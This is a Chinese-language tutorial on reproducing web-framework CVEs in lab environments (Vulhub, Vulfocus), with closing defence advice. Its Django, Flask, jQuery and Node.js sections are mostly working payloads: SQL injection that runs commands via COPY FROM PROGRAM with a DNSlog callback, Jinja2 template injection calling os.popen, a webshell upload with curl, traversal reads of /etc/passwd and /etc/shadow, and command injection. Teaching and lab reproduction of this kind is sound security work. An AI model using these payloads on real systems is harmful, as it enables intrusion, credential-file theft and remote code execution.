框架安全-CVE 复现&Django&Flask&Node.js&JQuery漏洞复现
字数 1903 2025-08-10 08:54:01
Web框架与中间件安全漏洞复现教学文档
1. 开发框架与中间件概述
1.1 常见中间件列表
- IIS, Apache, Nginx, Tomcat
- Docker, K8s
- Weblogic, JBoss, WebSphere
- Jenkins, GlassFish, Jetty, Jira
- Struts2, Laravel, Solr, Shiro
- Thinkphp, Spring, Flask, jQuery等
1.2 常见开发框架分类
PHP框架
- Thinkphp, Laravel, YII, CodeIgniter, CakePHP, Zend
Java框架
- Spring, MyBatis, Hibernate, Struts2, Springboot
Python框架
- Django, Flask, Bottle, Turbobars, Tornado, Web2py
JavaScript框架
- Vue.js, Node.js, Bootstrap, JQuery, Angular
2. 安全测试流程
2.1 中间件安全测试流程
- 判断中间件信息:名称、版本、三方组件
- 判断中间件问题:配置不当、公开漏洞
- 判断中间件利用方式:弱口令、EXP、框架漏洞
2.2 应用服务安全测试流程
- 判断服务开放情况:端口扫描、组合应用
- 判断服务类型归属:数据库、文件传输、通讯等
- 判断服务利用方式:特定漏洞、未授权、弱口令等
2.3 开发框架组件安全测试流程
- 判断常见语言开发框架类型
- 判断开发框架存在的CVE问题
3. Python框架漏洞复现
3.1 Django框架
3.1.1 CVE-2019-14234 - JSONField/HStoreField SQL注入漏洞
漏洞条件:
- 使用JSONField/HStoreField
- 可控制QuerySet的字段名称
复现步骤:
-
访问Django-Admin登录页面:
http://your-ip:8000/admin/- 默认账号:admin
- 默认密码:a123123123
-
访问模型列表视图:
http://your-ip:8000/admin/vuln/collection/ -
构造注入Payload:
/admin/vuln/collection/?detail__a%27b=123 -
创建cmd_exec表:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20 -
执行命令(DNSlog验证):
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20
3.1.2 CVE-2021-35042 - QuerySet.order_by SQL注入漏洞
漏洞条件:
- 使用order_by功能
- 可控制查询集的输入
复现步骤:
-
基础验证:
/vuln/order=-id -
信息泄露Payload:
- 查看目录:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23 - 查看版本:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20version())),1)%23 - 查看数据库名:
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23
- 查看目录:
3.2 Flask框架
3.2.1 Jinja2 SSTI漏洞
复现步骤:
-
基础验证:
http://your-ip/?name={{123*123}} -
执行任意Python代码:
- 需要进行URL编码
- 示例Payload(查看系统信息):
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
4. JavaScript框架漏洞复现
4.1 jQuery框架
4.1.1 CVE-2018-9207 - jQuery Upload File任意文件上传
影响版本:<= 4.0.2
复现步骤:
-
访问上传页面:
/jquery-upload-file/ -
使用curl上传文件:
curl -F "myfile=@shell.php" "http://target-ip:port/jquery-upload-file/php/upload.php" -
访问上传文件:
/jquery-upload-file/php/uploads/shell.php
4.2 Node.js框架
4.2.1 CVE-2017-14849 - 目录穿越漏洞
影响版本:Node.js 8.5.0 - 8.6.0之前
复现步骤:
-
构造请求读取/etc/passwd:
GET /static/a/etc/passwd HTTP/1.1 Host: target-ip:port -
读取其他敏感文件(如/etc/shadow):
GET /static/a/etc/shadow HTTP/1.1 Host: target-ip:port
4.2.2 CVE-2021-21315 - systeminformation命令注入
复现步骤:
-
构造命令执行Payload:
/api/getServices?name[]=$(echo%20%27rumilc666%27%20>%20rumi.txt) -
验证命令执行结果:
- 检查服务器上是否创建了rumi.txt文件
5. 漏洞防御建议
-
Django:
- 及时更新到最新版本
- 避免直接使用用户输入构造查询
- 使用ORM的安全查询方法
-
Flask:
- 对用户输入进行严格过滤
- 避免在模板中直接执行用户输入
- 使用Jinja2的沙箱环境
-
jQuery:
- 限制上传文件类型
- 对上传文件进行重命名
- 存储上传文件在非web可访问目录
-
Node.js:
- 更新到安全版本
- 对用户输入进行严格验证
- 使用安全的路径处理方法
6. 测试工具与环境
-
靶场环境:
- Vulhub:https://github.com/vulhub/vulhub
- Vulfocus:https://github.com/vulfocus/vulfocus
-
常用工具:
- Burp Suite
- curl
- DNSlog平台
- 中国蚁剑/菜刀(Webshell管理)